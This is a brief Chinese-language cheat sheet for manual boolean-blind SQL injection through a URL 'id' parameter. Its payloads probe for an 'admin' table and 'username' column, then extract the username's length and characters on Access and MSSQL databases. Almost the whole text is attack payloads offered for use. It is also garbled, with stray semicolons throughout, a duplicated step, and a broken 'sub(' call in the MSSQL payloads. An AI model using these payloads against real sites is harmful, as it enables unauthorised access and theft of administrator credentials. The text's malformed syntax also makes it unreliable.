sql注入检测:手工检测可否注入的大致经过

http://url/xx?id=1111 ;and ;1=1 ;(正常页面) ;
http://url/xx?id=1111 ;and ;1=2 ;(出错页面) ;

; ;
□ ;检测表段 ;
; ;
http://url/xx?id=1111 ;and ;exists ;(select ;* ;from ;admin) ; ;

; ;
□ ;检测字段 ;
; ;
http://url/xx?id=1111 ;and ;exists ;(select ;username ;from ;admin) ; ;

; ;
□ ;检测ID ;
; ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;ID=1) ;
;
□ ;检测长度 ;
; ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;len(username)=5 ;and ;ID=1) ; ;

; ;
□ ;检测长度 ;
; ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;len(username)=5 ;and ;ID=1) ; ;

; ;
□ ;检测是否为MSSQL数据库 ;
; ;
http://url/xx?id=1111 ;and ;exists ;(select ;* ;from ;sysobjects) ;
□ ;检测是否为英文 ;
; ;
(ACCESS数据库) ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;asc(mid(username,1,1)) ;between ;30
;and ;130 ;and ;ID=1) ; ;

(MSSQL数据库) ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;unicode(sub(username,1,1))
;between ;30 ;and ;130 ;and ;ID=1) ; ;


; ;
□ ;检测英文范围 ;
; ;
(ACCESS数据库) ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;asc(mid(username,1,1)) ;between ;90
;and ;100 ;and ;ID=1) ; ;

(MSSQL数据库) ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;unicode(sub(username,1,1))
;between ;90 ;and ;100 ;and ;ID=1) ; ;

; ;
□ ;检测那个 ;
; ;
(ACCESS数据库) ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;asc(mid(username,1,1))=97 ;and
;ID=1) ; ;
(MSSQL数据库) ;
http://url/xx?id=1111 ;and ;exists ;(select ;id ;from ;admin ;where ;unicode(sub(username,1,1))=97 ;and
;ID=1) ;